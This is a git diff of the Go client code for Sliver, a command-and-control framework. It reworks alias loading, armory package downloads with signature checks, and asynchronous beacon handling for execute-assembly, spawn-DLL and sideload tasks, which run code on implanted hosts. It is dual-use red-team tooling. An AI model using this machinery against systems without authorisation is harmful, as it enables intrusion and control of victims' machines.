"github.com/bishopfox/sliver/client/assets"
@@ -111,7 +112,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
@@ -152,10 +153,13 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
}
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(aliasGzFilePath, artifactPath)
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("empty file %s", artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
+129 -49
View File
@@ -28,12 +28,15 @@ import (
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
@@ -63,12 +66,14 @@ type loadedAlias struct {
Command *grumble.Command
}
// AliasFile - An OS/Arch specific file
type AliasFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
// AliasManifest - The manifest for an alias, contains metadata
type AliasManifest struct {
Name string `json:"name"`
Version string `json:"version"`
@@ -97,18 +102,22 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
}
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
var filePath string
var err error
for _, ef := range a.Files {
if targetOS == ef.OS && targetArch == ef.Arch {
filePath = ef.Path
filePath := ""
for _, extFile := range a.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetAliasesDir(), a.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err = fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
err := fmt.Errorf("no alias file found for %s/%s", targetOS, targetArch)
return "", err
}
return filePath, err
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("alias file not found: %s", filePath)
return "", err
}
return filePath, nil
}
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
@@ -123,37 +132,38 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
// LoadAlias - Load an alias into the Sliver shell from a given directory
func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
// retrieve alias manifest
var err error
dirPath, err = filepath.Abs(dirPath)
manifestPath, err = filepath.Abs(manifestPath)
if err != nil {
return nil, err
}
// parse it
manifestPath := filepath.Join(dirPath, ManifestFileName)
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
alias, err := ParseAliasManifest(data)
aliasManifest, err := ParseAliasManifest(data)
if err != nil {
return nil, err
}
alias.RootPath = filepath.Dir(manifestPath)
aliasManifest.RootPath = filepath.Dir(manifestPath)
// for each alias command, add a new app command
// do not add if the command already exists
if cmdExists(alias.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", alias.CommandName)
if cmdExists(aliasManifest.CommandName, con.App) {
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
}
helpMsg := fmt.Sprintf("[%s] %s", alias.Name, alias.Help)
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
helpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
helpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
addAliasCmd := &grumble.Command{
Name: alias.Name,
Name: aliasManifest.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(alias.LongHelp),
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runAliasCommand(extCtx, con)
@@ -161,7 +171,7 @@ func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest
return nil
},
Flags: func(f *grumble.Flags) {
if alias.IsAssembly {
if aliasManifest.IsAssembly {
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
@@ -181,14 +191,15 @@ func LoadAlias(dirPath string, con *console.SliverConsoleClient) (*AliasManifest
// Have to use a global map here, as passing the aliasCmd
// either by value or by ref fucks things up
loadedAliases[alias.Name] = &loadedAlias{
Manifest: alias,
loadedAliases[aliasManifest.CommandName] = &loadedAlias{
Manifest: aliasManifest,
Command: addAliasCmd,
}
return alias, nil
return aliasManifest, nil
}
// ParseAliasManifest - Parse an alias manifest
func ParseAliasManifest(data []byte) (*AliasManifest, error) {
// parse it
alias := &AliasManifest{}
@@ -225,39 +236,49 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
}
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
loadedAlias, ok := loadedAliases[ctx.Command.Name]
if !ok {
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
return
}
alias := loadedAlias.Manifest
binPath, err := alias.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
aliasManifest := loadedAlias.Manifest
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Fail to find alias file: %s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(alias.DefaultArgs) != 0 && len(args) == 0 {
extArgs = alias.DefaultArgs
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
extArgs = aliasManifest.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := alias.Entrypoint
entryPoint := aliasManifest.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = alias.getDefaultProcess(session.GetOS())
processName, err = aliasManifest.getDefaultProcess(goos)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
@@ -267,14 +288,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if alias.IsAssembly {
if aliasManifest.IsAssembly {
// Execute Assembly
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -295,12 +319,24 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, executeAssemblyResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
})
con.PrintAsyncResponse(executeAssemblyResp.Response)
} else {
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
}
} else if alias.IsReflective {
} else if aliasManifest.IsReflective {
// Spawn DLL
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -309,23 +345,33 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: alias.Entrypoint,
EntryPoint: aliasManifest.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawnDllResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
})
con.PrintAsyncResponse(spawnDllResp.Response)
} else {
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
}
} else {
// Sideload
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
@@ -340,20 +386,54 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
if sideloadResp.Response != nil && sideloadResp.Response.Async {
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideloadResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
})
con.PrintAsyncResponse(sideloadResp.Response)
} else {
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
}
}
}
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintSideloadOutput - Prints the output of a sideload command
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
// PrintAssemblyOutput - Prints the output of an execute-assembly command
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(execAsmResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
+78 -43
View File
@@ -35,6 +35,7 @@ import (
"github.com/bishopfox/sliver/server/cryptography/minisign"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/term"
)
type ArmoryIndex struct {
@@ -87,7 +88,10 @@ var (
// public key -> armoryPkgCacheEntry
pkgCache = sync.Map{}
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
// cacheTime - How long to cache the index/pkg manifests
cacheTime = time.Hour
// This will kill a download if exceeded so needs to be large
defaultTimeout = 15 * time.Minute
)
@@ -102,7 +106,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
indexCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(indexCacheEntry)
if cacheEntry.LastErr != nil {
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
}
return true
})
@@ -123,7 +127,7 @@ func ArmoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if errorCount == 0 {
con.Printf("errors!\n")
}
con.PrintErrorf("%s: %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
} else {
if cacheEntry.Pkg.IsAlias {
aliases = append(aliases, cacheEntry.Alias)
@@ -193,14 +197,14 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
results := []string{}
aliases, exts := packagesInCache()
bundles := bundlesInCache()
for _, alias := range aliases {
if strings.HasPrefix(alias.CommandName, prefix) {
results = append(results, alias.CommandName)
for _, aliasPkg := range aliases {
if strings.HasPrefix(aliasPkg.CommandName, prefix) {
results = append(results, aliasPkg.CommandName)
}
}
for _, extension := range exts {
if strings.HasPrefix(extension.CommandName, prefix) {
results = append(results, extension.CommandName)
for _, extensionPkg := range exts {
if strings.HasPrefix(extensionPkg.CommandName, prefix) {
results = append(results, extensionPkg.CommandName)
}
}
for _, bundle := range bundles {
@@ -213,6 +217,37 @@ func AliasExtensionOrBundleCompleter(prefix string, args []string, con *console.
// PrintArmoryPackages - Prints the armory packages
func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest, con *console.SliverConsoleClient) {
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
} else {
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
})
}
// Columns start at 1 for some dumb reason
tw.SortBy([]table.SortBy{
{Number: 1, Mode: table.Asc},
})
type pkgInfo struct {
CommandName string
Version string
@@ -221,13 +256,13 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
URL string
}
entries := []pkgInfo{}
for _, alias := range aliases {
for _, aliasPkg := range aliases {
entries = append(entries, pkgInfo{
CommandName: alias.CommandName,
Version: alias.Version,
CommandName: aliasPkg.CommandName,
Version: aliasPkg.Version,
Type: "Alias",
Help: alias.Help,
URL: alias.RepoURL,
Help: aliasPkg.Help,
URL: aliasPkg.RepoURL,
})
}
for _, extension := range exts {
@@ -240,34 +275,30 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
})
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Packages" + console.Normal)
tw.AppendHeader(table.Row{
"Command Name",
"Version",
"Type",
"Help",
"URL",
})
tw.SortBy([]table.SortBy{
{Name: "Command Name", Mode: table.Asc},
})
rows := []table.Row{}
for _, pkg := range entries {
color := console.Normal
if extensions.CmdExists(pkg.CommandName, con.App) {
color = console.Green
}
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
if con.Settings.SmallTermWidth < width {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
fmt.Sprintf(color+"%s"+console.Normal, pkg.URL),
})
} else {
rows = append(rows, table.Row{
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
fmt.Sprintf(color+"%s"+console.Normal, pkg.Help),
})
}
}
tw.AppendRows(rows)
con.Printf("%s\n", tw.Render())
}
@@ -359,7 +390,7 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
armoryResult.LastErr = errors.New("invalid URL scheme")
armoryResult.LastErr = errors.New("invalid repo url scheme in index")
return
}
@@ -372,7 +403,9 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
if index != nil {
armoryResult.Index = *index
}
armoryResult.LastErr = err
if err != nil {
armoryResult.LastErr = fmt.Errorf("failed to parse armory index: %s", err)
}
}
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
@@ -410,11 +443,11 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
repoURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
pkgCacheEntry.LastErr = err
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse repo url: %s", err)
return
}
if repoURL.Scheme != "https" && repoURL.Scheme != "http" {
pkgCacheEntry.LastErr = errors.New("invalid URL scheme")
pkgCacheEntry.LastErr = errors.New("invalid repo url scheme in pkg")
return
}
@@ -425,7 +458,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
}
if err != nil {
pkgCacheEntry.LastErr = err
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
return
}
if sig != nil {
@@ -440,7 +473,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
if err == nil {
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
if err != nil {
pkgCacheEntry.LastErr = err
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
return
}
if armoryPkg.IsAlias {
@@ -448,6 +481,8 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryPkg *ArmoryPackage, clientC
} else {
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
}
pkgCacheEntry.LastErr = err
if err != nil {
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
}
}
}
+14 -6
View File
@@ -20,7 +20,6 @@ package armory
import (
"errors"
"fmt"
"io/ioutil"
"net/url"
"os"
@@ -64,7 +63,7 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, pkgName := range bundle.Packages {
err := installExtensionPackageByName(pkgName, clientConfig, con)
err := installPackageByName(pkgName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
@@ -114,6 +113,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
return err
}
con.PrintInfof("Downloading alias ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
@@ -144,6 +145,8 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil {
return errors.New("failed to install alias")
@@ -228,6 +231,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
return err
}
con.PrintInfof("Downloading extension ...")
var sig *minisign.Signature
var tarGz []byte
if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
@@ -256,7 +261,12 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if err != nil {
return err
}
tmpFile.Close()
err = tmpFile.Sync()
if err != nil {
return err
}
con.Printf(console.Clearln + "\r") // Clear download message
installPath := extensions.InstallFromFilePath(tmpFile.Name(), true, con)
if installPath == nil {
@@ -266,10 +276,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
if err != nil {
return err
}
// do not add if the command already exists
if extensions.CmdExists(extCmd.Name, con.App) {
return fmt.Errorf("%s command already exists", extCmd.Name)
con.App.Commands().Remove(extCmd.Name)
}
extensions.ExtensionRegisterCommand(extCmd, con)
return nil
+118 -6
View File
@@ -28,6 +28,8 @@ import (
"net"
"net/http"
"net/url"
"path"
"strings"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -41,10 +43,11 @@ type ArmoryPackageParser func(*ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign
var (
indexParsers = map[string]ArmoryIndexParser{
"api.github.com": GithubArmoryIndexParser,
"api.github.com": GithubAPIArmoryIndexParser,
}
pkgParsers = map[string]ArmoryPackageParser{
"api.github.com": GithubArmoryPackageParser,
"api.github.com": GithubAPIArmoryPackageParser,
"github.com": GithubArmoryPackageParser,
}
)
@@ -63,6 +66,10 @@ type armoryPkgResponse struct {
TarGzURL string `json:"tar_gz_url"`
}
//
// Default Parsers for Self-Hosted Armories
//
// DefaultArmoryParser - Parse the armory index directly from the url
func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
@@ -163,6 +170,10 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
return sig, tarGz, nil
}
//
// GitHub API Parsers
//
type GithubAsset struct {
ID int `json:"id"`
Name string `json:"name"`
@@ -187,8 +198,8 @@ type GithubRelease struct {
Assets []GithubAsset `json:"assets"`
}
// GithubArmoryIndexParser - Parse the armory index from a GitHub release
func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
if err != nil {
@@ -206,6 +217,9 @@ func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Arm
return nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, errors.New("api returned non-200 status code")
}
@@ -260,8 +274,8 @@ func GithubArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Arm
return armoryIndex, nil
}
// GithubArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
func GithubAPIArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
var publicKey minisign.PublicKey
err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
if err != nil {
@@ -279,6 +293,9 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
return nil, nil, err
}
if resp.StatusCode != http.StatusOK {
if resp.StatusCode == http.StatusForbidden {
return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
}
return nil, nil, errors.New("api returned non-200 status code")
}
@@ -325,6 +342,100 @@ func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientCon
return sig, tarGz, err
}
//
// GitHub Parsers
//
// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
func GithubArmoryPackageParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
if err != nil {
return nil, nil, err
}
client := httpClient(clientConfig)
sigURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
sigResp, err := client.Get(sigURL.String())
if err != nil {
return nil, nil, err
}
defer sigResp.Body.Close()
if sigResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get signature for armory pkg '%s': %s", armoryPkg.RepoURL, sigResp.Status)
}
var body []byte
body, err = ioutil.ReadAll(sigResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read resp body '%s': %s", armoryPkg.RepoURL, err)
}
sig, err := parsePkgMinsig(body)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
}
var tarGz []byte
if !sigOnly {
tarGzURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
tarGzResp, err := client.Get(tarGzURL.String())
if err != nil {
return nil, nil, err
}
defer tarGzResp.Body.Close()
if tarGzResp.StatusCode != http.StatusOK {
return nil, nil, fmt.Errorf("failed to get tar.gz for armory pkg '%s': %s", armoryPkg.RepoURL, tarGzResp.Status)
}
tarGz, err = ioutil.ReadAll(tarGzResp.Body)
if err != nil {
return nil, nil, fmt.Errorf("failed to read tar.gz body '%s': %s", armoryPkg.RepoURL, err)
}
}
return sig, tarGz, nil
}
// We need to intercept the 302 redirect to determine the latest version tag
func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
client := httpClient(clientConfig)
client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
latestURL, err := url.Parse(armoryPkg.RepoURL)
if err != nil {
return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
latestRedirect, err := client.Get(latestURL.String())
if err != nil {
return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
}
if latestRedirect.StatusCode != http.StatusFound {
return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
}
if latestRedirect.Header.Get("Location") == "" {
return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
}
latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
if err != nil {
return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
}
pathSegments := strings.Split(latestLocationURL.Path, "/")
for index, segment := range pathSegments {
if segment == "tag" && index+1 < len(pathSegments) {
return pathSegments[index+1], nil
}
}
return "", errors.New("tag not found in location header")
}
func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
var sig minisign.Signature
err := sig.UnmarshalText(data)
@@ -344,6 +455,7 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
Dial: (&net.Dialer{
Timeout: config.Timeout,
}).Dial,
Proxy: http.ProxyURL(config.ProxyURL),
TLSHandshakeTimeout: config.Timeout,
+8 -8
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
)
// BeaconsCmd - Display/interact with beacons
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
}
func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
width, _, err := terminal.GetSize(0)
width, _, err := term.GetSize(0)
if err != nil {
width = 999
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if 182 < width {
if con.Settings.SmallTermWidth < width {
tw.AppendHeader(table.Row{
"ID",
"Name",
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
nextCheckin := time.Unix(beacon.NextCheckin, 0)
var next string
